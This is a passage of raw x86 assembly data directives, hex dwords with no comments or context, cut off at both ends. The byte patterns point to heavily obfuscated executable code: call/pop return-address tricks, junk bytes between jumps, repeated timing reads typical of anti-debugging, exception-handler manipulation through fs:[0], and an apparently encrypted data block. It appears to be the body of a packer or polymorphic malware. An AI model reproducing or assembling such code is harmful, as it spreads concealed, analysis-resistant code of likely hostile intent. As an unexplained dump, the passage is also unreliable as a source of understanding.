4C8959C3h dd 44810424h, 180424h, 51410000h, 96CACAC3h, 8B66B8FAh dd 0C3050DEh, 11440011h, 10E8C101h, 2114430h, 3114C00h dd 4E98358h, 36EBE775h, 11043050h, 1116400h, 3010E8C1h dd 21144h, 58031164h, 7504E983h, 501BEBE7h, 2810E8C1h dd 30031164h, 58021144h, 1116428h, 83110430h, 0E77504E9h dd 0C08B00EBh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Bh, 6C35141h, 0EA56D3EDh, 8B03805Eh, 0F38166FEh, 9D8B5C08h dd 62B2CB5h, 2BE5BD83h, 0F03062Bh, 3D885h, 52006A00h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1D04h, 0C3524200h dd 8595B2E8h, 0AA89CD48h, 0F780CAA0h, 0B0BD831Fh, 62EB5h dd 3A3840Fh, 0BD8B0000h, 62B15D9h, 0B5B0B5FFh, 0B70F062Eh dd 598D09DBh, 0FF062B2Ch, 2B017595h, 0A4B58B06h, 8B062EB5h dd 2B1ABD9Dh, 106C706h, 6A000100h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 14042444h, 47000000h, 5077C357h dd 348906B3h, 6830F24h, 8B000000h, 2B1D959Dh, 8731BB06h dd 0B5FF7ADAh, 62EB5B0h, 0D38B6660h, 4860Fh, 0BB660000h dd 0FF61D8D2h, 2B155595h, 51006A06h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1C04h, 0C3514100h, 4F4BC8BAh dd 0AB454959h, 899D8B2Fh, 8B062B1Ch, 2EB5A4B5h, 55006A06h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1904h, 0C3554500h dd 0ADCEAA37h, 0BB66CD73h, 0D3815E8Ch, 39C4D7FAh, 1AD9858Bh dd 0BD8B062Bh, 62B1E05h, 0C48689h, 9D330000h, 62B0555h dd 0EE1958Bh, 0BD8B062Bh, 62B1F5Dh, 0E904C283h, 0Fh, 7CFBB5Bh dd 0C3386A99h, 3F52A4A9h, 8B0B8B7Ch, 2B20319Dh, 20508906h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 5CC35646h dd 0BA0F17Bh, 8B6671FEh, 4E858DF9h, 6A062ECAh, 3E85000h dd 20000000h, 8958C358h, 81042444h, 15042444h, 40000000h dd 8BA5C350h, 25C99D8Bh, 8689062Bh, 0B8h, 0DCCB8166h, 51006A71h dd 0B0B5FF5Fh, 6A062EB5h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1C042444h, 46000000h, 277BC356h, 477C9B86h dd 31B1D945h, 2B26C185h, 9BD8906h, 0FF062B2Fh, 2B05E195h dd 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1D04h dd 0C3574700h, 0D4FF3447h, 3CB690D5h, 0BF660249h, 8166B1B7h dd 500892DFh, 0FF243489h, 2EB5B0B5h, 68C0F06h, 8B000000h dd 2B347DBDh, 6995FF06h, 66062B15h, 0A303CB81h, 1D9DBD83h dd 0F00062Bh, 8184h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1704h, 0C3564600h, 9DEC2EFCh, 5E9h, 3EABCE00h dd 5060B7EBh, 295E5B52h, 2B06E99Dh, 0E8506106h, 12h, 41FA49E4h dd 19878115h, 0F9BE8838h, 28C3A988h, 5250427Ch, 13E9310Fh dd 55000000h, 69447BA1h, 0E767C34Eh, 563DF788h, 1622732Ch dd 585A849Ch, 2434895Bh, 6E8h, 403BD500h, 8BB0E79Fh, 2B2E0D9Dh dd 0B5FF5B06h, 62EB5B0h, 0C018529h, 95FF062Bh, 62B2E11h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 0AFC35141h dd 205E8AA3h, 0B5B0B5FFh, 6A062Eh, 3E850h, 58200000h, 448958C3h dd 44810424h, 190424h, 50400000h, 26003C3h, 0F5A95C02h dd 240D95FFh, 6A062Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1C0424h, 55450000h, 0E5BFB3C3h, 6732E88Fh, 6E9137Ch dd 2D000000h, 6C799DAh, 29BD83F5h, 2062B2Eh, 4D840Fh, 6A0000h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h dd 13F658C3h, 0CF81284Bh, 7EA75BADh, 2B39858Bh, 14BB062Bh dd 0E83DBFE6h, 7, 6285D7Ah, 8B06B040h, 2B290DBDh, 0C65F06h dd 59850900h, 0C7062B1Ch, 2B092585h, 6, 53006A00h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1504h, 0C3534300h dd 0B70F53DBh, 0F2B4E9FEh, 6AFFFFh, 3E850h, 58200000h dd 448958C3h, 44810424h, 190424h, 50400000h, 70AD8DC3h dd 66B35BE2h, 8B8D2DBBh, 10E9C1h, 305C0000h, 76CD8F70h dd 0E6B22BA8h, 0A5CF4993h, 858D8377h, 62B2FC1h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 16h, 0C9C35040h, 0BD89DB6Dh dd 62B077Dh, 6650FB8Bh, 489D98Bh, 52006A24h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1804h, 0C3524200h, 8169C1C7h dd 6830F93h, 89000000h, 2B0FC185h, 0DB3BBF06h, 6A5823h dd 38C0Fh, 0F3800000h, 0F006ADEh, 858DFAB7h, 62FC249h dd 609BD8Bh, 0C083062Bh, 56006A05h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1404h, 0C3564600h, 219D8B44h, 90062B2Bh dd 11E85250h, 90000000h, 16E89357h, 6E7338FAh, 700EB31h dd 934341A0h, 0F5F5B50h, 5ADF8B31h, 0FE8A5058h, 55006A90h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1504h, 0C3554500h dd 0E3816679h, 5D57C861h, 16299D89h, 6A062Bh, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 0EAC35343h, 6063B42Ah dd 6A04A2h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 17h, 63C35242h, 0FED02CDh, 689h, 29B58900h, 0FF062B01h dd 2B34E195h, 6DBD2306h, 8D062B0Ah, 2EA6AA8Dh, 0A19D8B06h dd 0FF062B28h, 419D8BD1h, 83062B2Bh, 2B0A01BDh, 850F0106h dd 7Dh, 0EE8h, 585E3200h, 0B16EF3E2h, 0A280B7D4h, 80F5B4E4h dd 665FA4DBh, 6A4BCFBBh, 0B5015202h, 62B0A21h, 8A0F505Fh dd 3, 89FA8B66h, 6A2404h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 180424h, 57470000h, 9A5420C3h, 10E8E243h dd 0D000000h, 0A2B1B4F0h, 485A5BEBh, 0BFBACFD8h, 2B021162h dd 2B2BCDBDh, 95FF5F06h, 62B05E1h, 19D59531h, 0BF0F062Bh dd 0D71E9FFh, 0E80000h, 5D000000h dd 0C253ED81h, 6A062Fh, 3E850h, 58200000h, 448958C3h, 44810424h dd 1D0424h, 50400000h, 0A4C987C3h, 2CA821F2h, 6653CBDDh dd 6AF88Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h dd 57470000h, 9BA0E1C3h, 3E42DFC6h, 3A858D3Ch, 0E9062E99h dd 13h, 0DD43CBEDh, 0E6E444C8h, 9C02C26Dh, 2A1BE2B0h, 500265FBh dd 8870Fh, 52500000h, 5F52310Fh, 489585Ah, 51006A24h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1404h, 0C3514100h dd 0FEB70F00h, 0D1D9D89h, 0FF64062Bh, 35h, 25896400h, 0 dd 0D85FFF5h, 8B062B1Eh, 2B25E19Dh, 0FE8B6606h, 0DA8BFF6Ah dd 24D5B5FFh, 6A062Bh, 3E850h, 58200000h, 448958C3h, 44810424h dd 140424h, 50400000h, 0BF66E5C3h, 95FF6185h, 62B11A9h dd 102E9h, 0B00B000h, 2B10A59Dh, 5670E606h, 0CC56BB66h dd 3C71E45Bh, 0E8830F61h, 8B000000h, 2B19C1BDh, 0C8B60F06h dd 6BADA8Bh, 60000000h, 5AC68166h, 0C9BD8B36h, 61062B24h dd 0B589C18Bh, 62B24C1h, 2904E8C1h, 2B182995h, 0F8B70F06h dd 0FE2F766h, 1889h, 13E900h, 0D6100000h, 0F5A39068h, 0DBEA5501h dd 26B50EE8h, 9BF12487h, 89C82B01h, 2B05559Dh, 0E8D18B06h dd 5, 24773039h, 89958961h, 5B062B26h, 0DE9h, 0F7816600h dd 8B52B69Ch, 2B0FB19Dh, 858B5F06h, 62B111Dh, 1BB5B589h dd 0C083062Bh, 0DF8B6607h, 8B00C083h, 2B06A1BDh, 95295706h dd 62B10B5h, 0FD03B5Bh, 1183h, 0A19D8900h, 0E9062B25h dd 33h, 3079BD8Bh, 8D8B062Bh, 62B2AE5h, 2B559D01h, 0E183062Bh dd 18840F01h, 83000000h, 2B2AE5A5h, 0EEBBFE06h, 8917ACC6h dd 2B111D95h, 0E9FC06h, 8D000000h, 2F231FB5h, 6E906h, 1EC20000h dd 0D5874DF1h, 32ED9D33h, 6A062Bh, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 17h, 20C35040h, 5180902Fh, 32818529h dd 0FF5F062Bh, 2B294595h, 0EE86006h, 0E6000000h, 0B3EA7D08h dd 3FE3ABF9h, 7C757787h, 5F5B5299h, 9AC38166h, 4FB961BDh dd 6A000007h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1A042444h, 41000000h, 9F90C351h, 998A9437h, 65853117h dd 83062B32h, 6AFCE1h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1B0424h, 52420000h, 0A2C39BC3h, 0C7D1E415h, 6AFC8Eh dd 3E850h, 58200000h, 448958C3h, 44810424h, 170424h, 50400000h dd 2C8DACC3h, 0B8D0h, 0CE80000h, 3A000000h, 0DA58E6E9h dd 9764C566h, 6621041Ch, 0A79FC781h, 0BA5Bh, 6A0000h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h dd 0C48F71C3h, 40C18CBFh, 0B589EAE5h, 62B109Dh, 0D1C233ADh dd 83D003E8h, 0F47504E9h, 13E9h, 4D144A00h, 0C998CAECh dd 5C01CAE7h, 638D0D56h, 29A1F30Bh, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 18h, 3C35141h, 0D22F725Bh, 0B798D89h dd 880D062Bh, 6A000000h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 14042444h, 40000000h, 2B9FC350h, 2B08D1BDh dd 0E1958B06h, 66062B0Eh, 8B5D0BBFh, 2B21E18Dh, 52006A06h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1904h, 0C3524200h dd 62356433h, 0BD89E99Fh, 62B1FA5h, 8BC28B50h, 8BC10318h dd 0D1C18B18h, 8BC203E8h, 0BB665818h, 9D8BB06Ah, 62B0EB9h dd 5A9BD83h, 0F00062Bh, 8784h, 53006A00h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1A04h, 0C3534300h, 61E00F04h dd 293F87B7h, 2B32298Dh, 0B806h, 0BE90000h, 68000000h dd 0B46D18A0h, 4528A29Ch, 8D8D0344h, 62B4EA1h, 1913DF81h dd 0E1FF3F81h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 14h, 1AC35747h, 8D096060h, 62B1D6Dh, 2B41BD29h, 0F61062Bh dd 580h, 0E0816600h, 0BF61AC0Dh, 565C92EAh, 2BE5BD83h dd 0F00062Bh, 45184h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1904h, 0C3534300h, 1C73A6h, 8D891D0Eh, 62B08B9h dd 7E9h, 0F4DB5600h, 6C724615h, 1875BD8Bh, 0BD83062Bh dd 62B2BE5h, 26840F01h, 83000004h, 2B2BE5BDh, 860F0306h dd 3E3h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 19h, 66C35747h, 19A9CE6Eh, 952960BAh, 62B18C1h, 6AD98C66h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 16042444h dd 47000000h, 98E3C357h, 0EE848h, 3AB80000h, 0C1736184h dd 40D5C41Dh, 375E4BA9h, 0A09BD89h, 805F062Bh, 0B70F04E1h dd 0F88B66DEh, 840FC90Ah, 132h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Ch, 67C35545h, 39F7A4ECh, 0F2DD9Dh dd 15FDBD09h, 858B062Bh, 62B1EB5h, 0C08349BFh, 8D85337Ch dd 0F062B25h, 0C86h, 6820F00h, 0F000000h, 8Bh, 57509000h dd 310F5250h, 0E2CBF66h, 905B585Ah, 0DE8B6653h, 6A006A5Fh dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1C042444h dd 43000000h, 8043C353h, 2C0EA1BEh, 8951C0CBh, 2B0A2995h dd 0F1BD8B06h, 0E8062B28h, 4, 1F03FFh, 0CB8B6660h, 8C91AABEh dd 66506118h, 448BD98Bh, 0BB660424h, 8BD0D0h, 820F60h dd 50000000h, 0D38B6652h, 6160310Fh, 8961585Ah, 0BB042444h dd 0A6A4195h, 99D8958h, 0FF062B07h, 2B091D95h, 57006A06h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1A04h, 0C3574700h dd 2298ED1Dh, 89ED0C7Dh, 2B204995h, 0B0858906h, 3062EB5h dd 2B1EE9BDh, 19DE906h, 8A0F0000h, 16h, 11E9h, 0BFCFE00h dd 3A4243BAh, 0FCD598C6h, 9A50A1A8h, 858B5D57h, 62EB5A8h dd 1800C7h, 9D890000h, 62B2459h, 0B5ACB58Bh, 0FC8A062Eh dd 6CC1CBBBh, 0C5858B45h, 0F062B16h, 689F8BFh, 5E9h, 0C8BE4900h dd 858B416Fh, 62B1EB5h, 5BBB6660h, 61D98BCBh, 51958960h dd 80062B1Ch, 896139C7h, 9D090446h, 62B1881h, 148C0F50h dd 0E9000000h, 0Fh, 0FCD598C6h, 9A50A1A8h, 1B635D57h, 896D5F35h dd 6A2434h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h dd 53430000h, 296012C3h, 2B2A09BDh, 0B5FF6106h, 62EB5A8h dd 7E8h, 0AEC55000h, 62D77B8Ah, 1DA1B509h, 0E85B062Bh dd 4, 1F03FFh, 4820Fh, 0BF660000h, 6650CAA6h, 8B7C34BFh dd 52042444h, 8B5B73B3h, 10BF6600h, 24448938h, 69BF6604h dd 6A5851h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h dd 55450000h, 0FDF2FC3h, 88h, 0B0858D00h, 0E9062EB5h, 13h dd 71E60CFh, 0B9CEFEBEh, 97DECD67h, 23362EE6h, 503B114Dh dd 28A0Fh, 0D0B30000h, 0E8240489h, 7, 4F99D278h, 0E89DACC7h dd 12h, 0ED6B9AECh, 74238F26h, 27E64E02h, 0F8AC148Bh, 61605EEEh dd 95FF5F5Fh, 62B091Dh, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Ah, 89C35242h, 93850AFh, 81661C1Dh, 61E07DD3h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h, 0E1C35242h dd 12E9h, 7E488000h, 664C6742h, 353A7D7h, 0C96EBB0Ch, 0C765DB6Dh dd 2B2BE585h, 306h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1B04h, 0C3564600h, 0EC8CDCEDh, 0C776B29Bh dd 0B5B0BD83h, 0F00062Eh, 4E84h, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1B04h, 0C3574700h, 3F636154h dd 92CC8907h, 41E9h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1B04h, 0C3524200h, 0DDAB43D9h, 0A9E947A0h dd 50FEBF0Fh, 110C30h, 0C1011144h, 443010E8h, 4C000211h dd 83580311h, 0E77504E9h, 305036EBh, 64001104h, 0E8C10111h dd 11443010h, 11640002h, 0E9835803h, 0EBE77504h, 0E8C1501Bh dd 11642810h, 11443003h, 64285802h, 4300111h, 4E98311h dd 0EBE775h, 8D89C08Bh, 62B0899h, 65C38166h, 0D8BB6673h dd 0E5BD8376h, 3062B2Bh, 418850Fh, 83F50000h, 2EB5B0BDh dd 840F0006h, 40Ah, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Ah, 0C6C35040h, 3719E64h, 0B5FFD9EAh, 62EB5B0h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 0A7C35343h dd 69EC9A8Fh, 0F8FD0DC6h, 17595FFh, 6A062Bh, 3E850h, 58200000h dd 448958C3h, 44810424h, 150424h, 50400000h, 8BA657C3h dd 2EB5A4B5h, 0CE806h, 3D4D0000h, 0DBADE6A4h, 4B2A4BA5h dd 0BA60A861h, 2C5649E5h, 0F21BD8Bh, 5B61062Bh, 106C7h dd 9D890001h, 62B3039h, 0AE6CBF96h, 66507E83h, 0B796FB8Bh dd 0B0B5FFEFh, 6A062EB5h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1A042444h, 43000000h, 4CA6C353h, 9DDF8717h dd 8E9D3h, 1E360000h, 2A359C9Dh, 95FF82F5h, 62B1555h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 3FC35747h, 0B06C45C0h dd 0D7363A92h, 19A9BD2Bh, 0B58B062Bh, 62EB5A4h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 54C35747h, 0C8C08C10h dd 882C8571h, 0FE9h, 99442B00h, 64E988B9h, 87C846BBh, 0A3A92866h dd 11E9h, 6F61A800h, 2AA481E0h, 9C2BB22Eh, 2DA2EB8Bh, 858BDE2Dh dd 62B1AD9h, 5E953h, 6B030000h, 5F56E5F4h, 0C48689h, 0B70F0000h dd 0E1958BDAh, 6A062B0Eh, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 15042444h, 47000000h, 0FE09C357h, 17CDBD8Bh dd 0C283062Bh, 0AE804h, 85F90000h, 0B3B601E4h, 2D3E9505h dd 1839BD03h, 895F062Bh, 858D2050h, 62ECA4Eh, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 0BDC35242h, 1B5F73B7h dd 0A7FA7FB1h, 8D89DA8Bh, 62B0251h, 0B88689h, 7E90000h dd 0CF000000h, 9663C294h, 0B5895FE1h, 62B2BD5h, 8E0F006Ah dd 19h, 0EE8h, 0B9A3F400h, 82EED422h, 0EB187EDEh, 66696939h dd 7EA7E781h, 0B0B5FF5Bh, 6A062EB5h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 15042444h, 40000000h, 0EF69C350h dd 0BE9h, 2238E300h, 61E1405Dh, 92111266h, 5E195FFh, 6A062Bh dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h, 57470000h dd 9A0596C3h, 0D1BD8BEAh, 50062B2Ch, 0E8FC8A60h, 0Bh, 801D651Ch dd 0C55A1688h, 608E87E0h, 89615B61h, 8B662434h, 9BD8BFBh dd 0FF062B21h, 2EB5B0B5h, 6E806h, 0F7D40000h, 1FB0AF69h dd 95FF5BF8h, 62B1569h, 1D9DBD83h, 0F00062Bh, 4A84h, 14E900h dd 0DD300000h, 57AEC827h, 4592BD11h, 65FE9726h, 799EDCD7h dd 6696F27Fh, 8B50DA8Bh, 6A96FBh, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1D0424h, 57470000h, 6977DBC3h, 3316C32Fh dd 6617E597h, 0FFFA4CBFh, 2EB5B0B5h, 53006A06h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1404h, 0C3534300h, 6DBD8B87h dd 0FF062B1Fh, 2B2E1195h, 10E906h, 279D0000h, 339AE408h dd 5E71F3DBh, 85AF645Dh, 0B5FF6A9Ah, 62EB5B0h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 14h, 8AC35242h, 29119589h dd 0B529062Bh, 62B0B31h, 240D95FFh, 0BD8B062Bh, 62B358Dh dd 2889B589h, 0BD83062Bh, 62B2E29h, 26840F02h, 0F8000000h dd 2B39858Bh, 0FE9062Bh, 0FB000000h, 0C38BD495h, 3C2F452h dd 4E67242Dh, 0F2BF34B1h, 0C6362A6Ah, 0BF0F0000h, 2585C7DBh dd 62B09h, 6A000000h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1A042444h, 40000000h, 7F18C350h, 0F52B911Bh, 0DB816699h dd 81E95D7Bh, 0E8FFFFF3h, 9, 3BC7B42Eh, 5EB7F26Ah, 0DF8B664Bh dd 0E9C18B5Bh, 0Fh, 62EA22BFh, 0B44C9D8Eh, 0BF8B30FDh dd 0E90BF54Dh, 17h, 8AFA786h, 4 dup(0) dd 0E9000000h, 560h, 0CCC8FC61h, 1C98ACB3h, 0AF6B5D03h dd 0FB371150h, 480BA9Ch, 0C59D06F9h, 72E80783h, 263B5450h dd 0CF89E622h, 0C06F2DE9h, 0C40F3AB4h, 0F1C94F92h, 0AE1C781h dd 4E99A3B7h, 0C01B95A3h, 6FF294EBh, 0FEC7259h, 34D86EC0h dd 274390B2h, 65DF38E6h, 7B891443h, 94EBACF1h, 0AC52DCE8h dd 3B2794EBh, 0DCAF5EC0h, 6732C781h, 499C2595h, 0AFF2D975h dd 1799A7A8h, 6A94EB79h, 600F58F4h, 0EB79DA54h, 7AB3AF94h dd 7549E2ABh, 95113731h, 74E3E57Ah, 7951DBE9h, 3A2494EBh dd 6FF00FF3h, 332B7655h, 53CABA11h, 0F1263B6Fh, 895BF377h dd 0DAD67274h, 350B4E4Dh, 0BEABADF4h, 0EB8C1892h, 51ED6D94h dd 0B9B8D77Ah, 0A680C09Fh, 0DCF43545h, 94EB8C4Dh, 35E9DD66h dd 38EC0156h, 750216E2h, 122CFF1Bh, 572FC9Bh, 532A7D97h dd 0B4000000h, 7B4D1271h, 1F8E90h, 47856640h, 94EBC0BBh dd 335F239Ch, 7D96DA37h, 5C62F695h, 6D3AF38Fh, 1, 0EADA8169h dd 0A1A7BA01h, 587CF74Ah, 9D619A73h, 33415209h, 94EBC0B9h dd 0FBCD91CCh, 0A8C7C35Fh, 5128EA8h, 0C0C06A76h, 0A5B594EBh dd 0D9816664h, 0A2B904E7h, 45FE49A2h, 13352D81h, 0DEF87897h dd 1C435E0Dh, 0BA9EE128h, 0C4632784h, 0C0812B39h, 6AF494EBh dd 10C6BAA3h, 0D3DAF275h, 96DFCAB4h, 0A8727Dh, 48D70000h dd 2731174Dh, 94EBCA85h, 23A766F8h, 54D6E271h, 0B594EBC0h dd 0C25C9FA9h, 5BA2B4CBh, 4BA03C18h, 8D5E60F4h, 0BA11372Eh dd 0EFFDF267h, 94EBC05Dh, 39922E30h, 0DE9175EEh, 944A3E37h dd 896262F9h, 71E938F1h, 2234534Fh, 0F56CB318h, 0BEA5F8D3h dd 79DE3D8Eh, 0AF096447h, 0B28F3EBh, 7054ED35h, 811D3B3Ah dd 0F220E41Dh, 7D97A588h, 653Ch, 0D9819E00h, 4FED0134h dd 53EFDA86h, 3B3C2578h, 0EBCA832Dh, 4D5BF694h, 94EBCAA3h dd 902C48D6h, 7FB703Bh, 0E46BFA3h, 7108C28h, 0CAC26C78h dd 0ABB794EBh, 0DA816462h, 4F4A01EAh, 4AD43709h, 0C0BC4D43h dd 3A9594EBh, 0C9C0E45Fh, 2BB66C50h, 0EBC0931Dh, 0A7BBE694h dd 188019Dh, 7D96D965h, 119h, 0DB81C500h, 251F7AE5h, 1796A803h dd 193F3984h, 675BC2B2h, 0EF2B1D43h, 3F220E7Eh, 339CA209h dd 0EBC08B25h, 0C460FE94h, 0D9088D9Bh, 233F8AC6h, 0D5F375C8h dd 0A086BED9h, 129CA837h, 0FB6D3F39h, 0F1896266h, 695140Ah dd 3F393ECAh, 95F05F6Dh, 831F8CCh, 0D3C67E34h, 39B63844h dd 57CB6D3Fh, 3F39E789h, 0AB849A6Dh, 0B5718DB7h, 0EF3C1A5Ah dd 3425D090h, 0D6733E1Ah, 26DBEDAh, 7416559h, 78F2E521h dd 2C776B88h, 111h, 0D21F6FAEh, 0DE727785h, 3E0D8AC6h dd 3F3E9812h, 0D16DED6Dh, 8BADA7FAh, 6570F00Fh, 3F3ED557h dd 1AB6A86Dh, 0CCEA6AB1h, 46BFA0FFh, 38932F11h, 6D7B7CE5h dd 6D3F3EC3h, 0BF0CA8B6h, 0FD7448CDh, 0DDD1B5AEh, 7712BD9Bh dd 720CDFE1h, 96D0C7BBh, 4E776BD7h, 4Bh, 0EACC8403h, 0AB07901h dd 7B4D1271h, 3D3281B2h, 0C0848692h, 46D514EBh, 0EBC0B03Ah dd 5455C514h, 831E49D1h, 46B738DDh, 9FC2FE8Dh, 1796A803h dd 3BA64884h, 79F014EBh, 7380CF85h, 3B36D8E4h, 0D74B94EBh dd 6F48DBh, 6F2E0000h, 7785D21Fh, 8AC6DB3Ah, 6BE6C555h dd 7349FD3Ch, 1E8F2376h, 0AB674103h, 0D932144Ch, 3F8264F3h dd 562A036Dh, 0FA361050h, 61EE0373h, 0F4C9953h, 42058073h dd 5EC0A36Ah, 2533DE8Dh, 674F4C8Bh, 56A960FEh, 21D3381Eh dd 3C8C483Ch, 529CA837h, 0A7797F9Ch, 0F7712CBBh, 0FD6AD8D1h dd 7CA8426Eh, 6EDD799Fh, 0A61AD338h, 0F23B577Fh, 0D6E271D4h dd 94EBC054h, 47F83129h, 31BBC9F7h, 4494EBC0h, 7211BEDAh dd 2CDEEAEFh, 2194EBC0h, 0E34E9D39h, 3DC3E203h, 73BAD670h dd 57EB0DCh, 50FF8ADBh, 3B85AA44h, 4A43DF6Dh, 954B7ABh dd 0A2AD694Fh, 404973E7h, 0B6210741h, 85931D2Bh, 78E66D3Bh dd 35EEE2B1h, 727ABC08h, 0A7A105F9h, 1204A6B2h, 0E1797FA4h dd 362E4945h, 57B490D3h, 15CAFCBh, 76B6B546h, 8C5E7194h dd 6605E8A3h, 3E5A01C3h, 596FF291h, 6E3DEC72h, 0D4E291BEh dd 0CD1A9EEEh, 0A6485483h, 0DB7FA475h, 0E9DD4647h, 69A583C5h dd 0E770560Eh, 533F15B8h, 0D2DB3A32h, 120843h, 71EE0000h dd 0AA65312h, 23160DDh, 0B1A7801Ch, 0F8DC1E8Fh, 3E8DC81h dd 49A284BCh, 705B6DF2h, 0B417312Dh, 0FCCFF169h, 2487B9A1h dd 6DBE9ED9h, 97744A0Eh, 0D8331548h, 4EC8108h, 89000000h dd 0E6892434h, 4C681h, 0EE830000h, 24348704h, 6C9D685Ch dd 3C890000h, 0E2895224h, 4C281h, 0EA830000h, 24148704h dd 242C895Ch, 3A3B68h, 24148900h, 302D4268h, 0D2F75A0Eh dd 42A9E281h, 0EA8142D5h, 3A9572C9h, 815AD789h, 4ECh, 24248900h dd 4240483h, 842685Dh, 3C890000h, 8458F24h, 5D2434FFh dd 0FF04C483h, 815F2434h, 4C4h, 0AA82E900h, 0B82FFFFBh dd 4B3D8A00h, 39D3BE22h, 2FD4B5B8h, 0FFC50306h, 5134FDE0h dd 3AC4D441h, 0AAE6D339h, 9DBD6F19h, 92446219h, 327E612Ah dd 0E9D214Dh, 0D01FD1Dh, 510B1B19h, 0C1858D6Dh, 60062B2Fh dd 10E9h, 0D71C000h, 46716B6Eh, 0E9AA5816h, 7062AC76h dd 0BE6660E1h, 0BD8B51D8h, 62B1EADh, 0BF0F6161h, 0DA8B90DAh dd 0CE850h, 0A1AB0000h, 0B815EEF1h, 4236FF46h, 9EBFBB6Fh dd 5B4CB3E0h, 8E890h, 0E1960000h, 2A8E795Fh, 0F7B7EBF0h dd 0FC006A5Bh, 6A38C780h, 0A59D8900h, 8D062B34h, 2FD6FE85h dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1804h dd 0C3564600h, 83BF21D3h, 0F98B6609h, 0F905C083h, 52525050h dd 60310F5Fh, 89BF5F56h, 6130BF2Bh, 489585Ah, 860F5724h dd 5, 4ECB8166h, 6A5F05h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 17h, 0C4C35646h, 6A0466BBh, 0D88B6600h, 34E195FFh dd 6A062Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h dd 55450000h, 0BAFC7FC3h, 0DFB70F2Eh, 0A6AA8D8Dh, 9589062Eh dd 62B11A5h, 9D8BD1FFh, 62B0D01h, 0A01BD83h, 0F01062Bh dd 6D85h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1C04h, 0C3524200h, 8B9500E9h, 0FF747E22h, 8B666014h dd 6A61F8FEh, 8B44B302h, 2B1ADD9Dh, 8B565006h, 4895BFBh dd 57006A24h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1704h dd 0C3574700h, 76C9F9B1h, 28E19589h, 95FF062Bh, 62B05E1h dd 0C219529h, 0BCE9062Bh, 0E800000Fh, 0 dd 8ED815Dh, 0FC062FD7h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Bh, 0C1C35545h, 9633670Fh, 0BD675F1h, 2B3071BDh dd 7E906h, 0AB600000h, 0C460B578h, 3A858DEEh, 6A062E99h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 15042444h dd 41000000h, 1D2EC351h, 0B3D2C380h, 0AE8507Dh, 37000000h dd 73ADCEAAh, 297592CDh, 0DE8B6605h, 2404895Fh, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 3AC35343h, 1DD1FA39h dd 0AEA3B3D4h, 6E938h, 64310000h, 5B23C443h, 35FF64h, 6A000000h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 